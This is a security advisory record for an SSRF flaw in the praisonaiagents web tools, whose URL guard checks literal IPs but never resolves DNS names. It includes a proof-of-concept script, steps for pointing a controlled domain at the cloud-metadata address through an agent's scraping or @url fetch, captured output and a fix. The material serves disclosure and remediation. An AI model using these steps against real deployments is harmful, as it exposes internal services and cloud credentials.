{"id":"PYSEC-2026-3535","summary":"praisonaiagents: SSRF guard validates literal IPs only and never resolves DNS","details":"# praisonaiagents: SSRF guard validates literal IPs only and never resolves DNS\n\n**Researcher:** Kai Aizen — SnailSploit (@SnailSploit), Adversarial & Offensive Security Research\n**Target:** https://github.com/MervinPraison/PraisonAI\n**Weakness:** CWE-918 Server-Side Request Forgery (SSRF).\n\n---\n\n## Summary\n\nThe SSRF guard shared by PraisonAI's web tools (`SpiderTools._validate_url` → `_host_is_blocked` in `praisonaiagents/tools/spider_tools.py`) inspects only **literal IP-address encodings** of the URL host. It never resolves DNS names. Any hostname whose A/AAAA record points at an internal, loopback, link-local, or cloud-metadata address passes validation and the request is issued to that target. A static internal A record is sufficient — no DNS-rebinding race is required.\n\nThe guard's own docstring claims it returns `True` \"when hostname **resolves to** loopback/private/internal targets,\" but no resolution is performed. The fix for CVE-2026-47390 added more *encodings of literal IPs* (decimal integer, `0x` hex, `inet_aton`); it did not address the *class* \"host is a name that resolves to a forbidden address.\"\n\nThe same guard is reached through two tool surfaces:\n- `scrape_page` / `crawl` / `extract_links` / `extract_text` (spider tools)\n- the `@url` mention fetch in `praisonaiagents/tools/mentions.py` (which calls the identical `SpiderTools._validate_url` then `urllib.request.urlopen`)\n\nThe correct pattern already exists in the same package: `file_tools.py` resolves the host with `socket.getaddrinfo` and checks each resolved address before fetching. `spider_tools` / `mentions` do not.\n\n## Affected packages\n\n- `pip/praisonaiagents` \u003c= 1.6.39\n- `pip/PraisonAI` \u003c= 4.6.39\n\n## Root cause\n\n`praisonaiagents/tools/spider_tools.py`, `_host_is_blocked` (def at line 26):\n\n```python\ndef _host_is_blocked(hostname: str) -\u003e bool:\n    \"\"\"Return True when hostname resolves to loopback/private/internal targets.\"\"\"\n    ...\n    if host.isdigit():                                  # decimal-int IPv4 literal\n        return _ip_blocked(ipaddress.ip_address(int(host)))\n    if host.startswith(\"0x\"):                           # hex IPv4 literal\n        return _ip_blocked(ipaddress.ip_address(int(host, 16)))\n    try:\n        return _ip_blocked(ipaddress.ip_address(host))  # dotted v4 / v6 literal\n    except ValueError:\n        pass\n    try:\n        return _ip_blocked(ipaddress.ip_address(socket.inet_aton(host)))  # octal/short v4\n    except OSError:\n        pass\n    return False                                        # \u003c-- any DNS name lands here\n```\n\nEvery branch operates on the **literal string**. For a DNS name (`attacker.example`): it is not in the literal block sets, not a `.local`/`.internal` suffix, `int(host)` is not applicable, `ipaddress.ip_address(name)` raises `ValueError` (swallowed), `inet_aton(name)` raises `OSError` (swallowed), and the function returns `False` — \"not blocked.\" `socket.getaddrinfo` / `gethostbyname` are never called anywhere in this path.\n\n`_validate_url` (def line 74) ends with:\n\n```python\n            if _host_is_blocked(parsed.hostname):\n                return False\n            return True\n```\n\nso a name verdict of \"not blocked\" yields `_validate_url(...) == True`, and the caller (`scrape_page`, or `mentions._fetch_url` at lines 273–284) proceeds to fetch the original URL via `requests` / `urllib.request.urlopen`.\n\nThe literal-IP coverage is otherwise good — Python's `ipaddress.is_reserved` / `is_private` happen to flag NAT64 (`64:ff9b::/96`), 6to4 (`2002::/16`), IPv4-mapped (`::ffff:`), and IPv4-compatible (`::/96`) forms. The single residual literal gap is deprecated site-local `fec0::/10` (`is_private` and `is_reserved` both `False`), which is low-impact on modern stacks. The DNS-name class is the material issue.\n\n### The promise that was broken\n\nThe block set explicitly contains `\"169.254.169.254\"` and `\"metadata.google.internal\"` (line 33) — documented intent to stop cloud-metadata theft. A name-based request defeats exactly that intent: register `metadata-thief.example` with an A record of `169.254.169.254`, and the literal block is never consulted because resolution never happens.\n\n## Proof of concept\n\n```python\nimport socket\nfrom praisonaiagents.tools.spider_tools import _host_is_blocked, SpiderTools\n\n# Literal forms the CVE-2026-47390 fix added — correctly blocked:\nfor h in [\"127.0.0.1\", \"2130706433\", \"0x7f000001\", \"169.254.169.254\", \"::1\"]:\n    assert _host_is_blocked(h) is True, h\n\n# DNS names that resolve to internal targets — NOT blocked (the class the fix missed):\nfor h in [\"attacker-controlled.example\", \"metadata-thief.com\", \"rebind.attacker.net\"]:\n    assert _host_is_blocked(h) is False, h     # A record may be 127.0.0.1 / 169.254.169.254\n\nst = SpiderTools\nassert st._validate_url(\"http://127.0.0.1/\") is False           # literal blocked\nassert st._validate_url(\"http://metadata-thief.com/\") is True   # name passes -\u003e request fires\n\n# The guard never even attempts resolution:\nimport praisonaiagents.tools.spider_tools as S\nS.socket.getaddrinfo = lambda *a, **k: (_ for _ in ()).throw(RuntimeError(\"RESOLVER CALLED\"))\nassert _host_is_blocked(\"attacker.example\") is False            # no RuntimeError -\u003e never resolved\n\nprint(\"[+] CONFIRMED: SSRF guard ignores DNS resolution; name-\u003einternal bypasses validation\")\n```\n\nEnd-to-end against a deployed agent: point any controlled domain's A record at `169.254.169.254` (or `127.0.0.1`, or an RFC1918 service), then drive an agent that has `scrape_page`/`crawl` enabled, or include the URL as an `@url` mention. The fetch reaches the internal/metadata target and its response is returned into model context.\n\n## Remediation\n\nResolve the host and apply the existing `_ip_blocked` check to **every** resolved address before fetching — the pattern already implemented in `praisonaiagents/tools/file_tools.py` (lines 339–344):\n\n```python\nresolved = socket.getaddrinfo(parsed.hostname, parsed.port or (443 if parsed.scheme == \"https\" else 80))\nfor family, _, _, _, sockaddr in resolved:\n    if _ip_blocked(ipaddress.ip_address(sockaddr[0])):\n        return True   # blocked\n```\n\nTo also close DNS rebinding (resolve-then-connect TOCTOU), pin the connection to the validated address rather than re-resolving at fetch time. Apply the same fix to both `_validate_url` and `mentions._fetch_url`. Additionally add `fec0::/10` to the IPv6 rejection set for completeness.\n\n## Steps to reproduce\n\n1. Clone the target: `git clone --depth 1 https://github.com/MervinPraison/PraisonAI`\n2. Run the proof of concept shown above against the cloned source.\n3. Observe the result shown under *Verified result* below.\n\n## Verified result\n\nThis PoC was executed against the live upstream code; captured output:\n\n```\n== Literal internal/loopback encodings — correctly BLOCKED ==\n   127.0.0.1            blocked=True\n   2130706433           blocked=True\n   0x7f000001           blocked=True\n   169.254.169.254      blocked=True\n   ::1                  blocked=True\n   localhost            blocked=True\n   10.0.0.5             blocked=True\n\n== DNS names whose A-record could point internal — NOT blocked (the gap) ==\n   attacker-controlled.example  blocked=False\n   metadata-thief.com           blocked=False\n   rebind.attacker.net          blocked=False\n\n== Prove resolution is NEVER attempted (monkeypatch getaddrinfo to explode) ==\n   _host_is_blocked('metadata-thief.com') = False  (no RuntimeError -\u003e DNS never resolved)\n\n== _validate_url verdict (replicating the method's host check on the real func) ==\n   http://127.0.0.1/        -\u003e validate=False  (blocked)\n   http://metadata-thief.com/ -\u003e validate=True  (PASSES -\u003e request fires)\n\n[+] CONFIRMED: name-\u003einternal bypasses the SSRF guard; getaddrinfo/gethostbyname never called.\n```\n\n## Credit\n\nKai Aizen — SnailSploit (@SnailSploit). Adversarial & Offensive Security Research.","aliases":["CVE-2026-57126","GHSA-vxgj-xg5c-p4h7"],"modified":"2026-07-23T15:00:23.533259091Z","published":"2026-07-23T11:41:41.488535Z","references":[{"type":"WEB","url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-vxgj-xg5c-p4h7"},{"type":"PACKAGE","url":"https://github.com/MervinPraison/PraisonAI"},{"type":"PACKAGE","url":"https://pypi.org/project/praisonaiagents"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-vxgj-xg5c-p4h7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-57126"}],"affected":[{"package":{"name":"praisonaiagents","ecosystem":"PyPI","purl":"pkg:pypi/praisonaiagents"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.6.59"}]}],"versions":["0.0.1","0.0.10","0.0.100","0.0.101","0.0.102","0.0.103","0.0.104","0.0.105","0.0.106","0.0.107","0.0.108","0.0.109","0.0.11","0.0.110","0.0.111","0.0.112","0.0.113","0.0.114","0.0.115","0.0.116","0.0.117","0.0.118","0.0.119","0.0.12","0.0.120","0.0.121","0.0.122","0.0.123","0.0.124","0.0.125","0.0.126","0.0.127","0.0.128","0.0.129","0.0.13","0.0.130","0.0.131","0.0.132","0.0.133","0.0.134","0.0.135","0.0.136","0.0.137","0.0.138","0.0.139","0.0.14","0.0.140","0.0.141","0.0.142","0.0.143","0.0.144","0.0.145","0.0.146","0.0.147","0.0.148","0.0.149","0.0.15","0.0.150","0.0.151","0.0.152","0.0.153","0.0.154","0.0.155","0.0.156","0.0.157","0.0.158","0.0.159","0.0.16","0.0.160","0.0.161","0.0.162","0.0.163","0.0.164","0.0.165","0.0.166","0.0.167","0.0.168","0.0.169","0.0.17","0.0.170","0.0.171","0.0.172","0.0.173","0.0.174","0.0.175","0.0.176","0.0.177","0.0.178","0.0.179","0.0.18","0.0.180","0.0.181","0.0.182","0.0.183","0.0.184","0.0.185","0.0.187","0.0.188","0.0.189","0.0.19","0.0.190","0.0.191","0.0.192","0.0.193","0.0.194","0.0.195","0.0.196","0.0.197","0.0.198","0.0.199","0.0.2","0.0.20","0.0.21","0.0.22","0.0.23","0.0.24","0.0.25","0.0.26","0.0.27","0.0.28","0.0.29","0.0.3","0.0.30","0.0.31","0.0.32","0.0.33","0.0.34","0.0.35","0.0.36","0.0.37","0.0.38","0.0.39","0.0.4","0.0.40","0.0.41","0.0.42","0.0.43","0.0.44","0.0.45","0.0.46","0.0.47","0.0.48","0.0.49","0.0.5","0.0.50","0.0.51","0.0.52","0.0.53","0.0.54","0.0.56","0.0.57","0.0.58","0.0.59","0.0.6","0.0.60","0.0.61","0.0.62","0.0.63","0.0.64","0.0.65","0.0.66","0.0.67","0.0.68","0.0.69","0.0.7","0.0.70","0.0.71","0.0.72","0.0.73","0.0.74","0.0.75","0.0.76","0.0.77","0.0.78","0.0.79","0.0.8","0.0.80","0.0.81","0.0.82","0.0.83","0.0.84","0.0.85","0.0.86","0.0.87","0.0.88","0.0.89","0.0.9","0.0.90","0.0.91","0.0.92","0.0.93","0.0.94","0.0.95","0.0.96","0.0.97","0.0.98","0.0.99","0.1.0","0.1.1","0.1.10","0.1.11","0.1.12","0.1.13","0.1.14","0.1.15","0.1.16","0.1.17","0.1.18","0.1.19","0.1.2","0.1.20","0.1.21","0.1.22","0.1.23","0.1.24","0.1.25","0.1.26","0.1.27","0.1.3","0.1.4","0.1.5","0.1.6","0.1.7","0.1.8","0.1.9","0.10.0","0.10.1","0.10.10","0.10.2","0.10.3","0.10.4","0.10.5","0.10.6","0.10.7","0.10.8","0.10.9","0.11.0","0.11.1","0.11.10","0.11.11","0.11.12","0.11.13","0.11.14","0.11.15","0.11.16","0.11.17","0.11.18","0.11.19","0.11.2","0.11.20","0.11.21","0.11.22","0.11.23","0.11.24","0.11.25","0.11.27","0.11.28","0.11.29","0.11.3","0.11.30","0.11.31","0.11.4","0.11.5","0.11.6","0.11.7","0.11.8","0.11.9","0.12.0","0.12.1","0.12.10","0.12.11","0.12.12","0.12.13","0.12.14","0.12.15","0.12.16","0.12.17","0.12.18","0.12.19","0.12.2","0.12.20","0.12.21","0.12.3","0.12.4","0.12.5","0.12.6","0.12.7","0.12.8","0.12.9","0.13.0","0.13.1","0.13.10","0.13.11","0.13.12","0.13.13","0.13.14","0.13.15","0.13.16","0.13.17","0.13.18","0.13.19","0.13.2","0.13.20","0.13.21","0.13.22","0.13.23","0.13.3","0.13.4","0.13.5","0.13.6","0.13.7","0.13.8","0.13.9","0.14.0","0.14.1","0.14.10","0.14.11","0.14.12","0.14.14","0.14.15","0.14.16","0.14.2","0.14.3","0.14.4","0.14.5","0.14.6","0.14.7","0.14.8","0.14.9","0.15.0","0.15.1","0.15.2","0.15.3","0.2.0","0.2.1","0.2.2","0.3.0","0.3.1","0.3.2","0.3.3","0.3.4","0.4.0","0.4.1","0.5.0","0.5.1","0.5.2","0.5.3","0.6.0","0.6.1","0.6.2","0.6.3","0.6.4","0.6.5","0.6.6","0.6.7","0.6.8","0.7.0","0.7.1","0.8.0","0.8.1","0.9.0","0.9.1","1.0.0","1.1.0","1.2.0","1.2.1","1.2.2","1.2.3","1.2.4","1.3.0","1.3.1","1.4.0","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.5.0","1.5.1","1.5.10","1.5.100","1.5.101","1.5.102","1.5.103","1.5.104","1.5.105","1.5.106","1.5.107","1.5.108","1.5.109","1.5.11","1.5.110","1.5.111","1.5.112","1.5.113","1.5.114","1.5.115","1.5.116","1.5.117","1.5.118","1.5.119","1.5.12","1.5.120","1.5.121","1.5.122","1.5.123","1.5.124","1.5.125","1.5.126","1.5.127","1.5.128","1.5.129","1.5.13","1.5.130","1.5.131","1.5.132","1.5.133","1.5.134","1.5.135","1.5.136","1.5.137","1.5.138","1.5.139","1.5.14","1.5.140","1.5.141","1.5.142","1.5.143","1.5.144","1.5.145","1.5.146","1.5.147","1.5.148","1.5.149","1.5.15","1.5.16","1.5.17","1.5.18","1.5.19","1.5.2","1.5.20","1.5.21","1.5.22","1.5.23","1.5.24","1.5.25","1.5.26","1.5.27","1.5.28","1.5.29","1.5.3","1.5.30","1.5.31","1.5.3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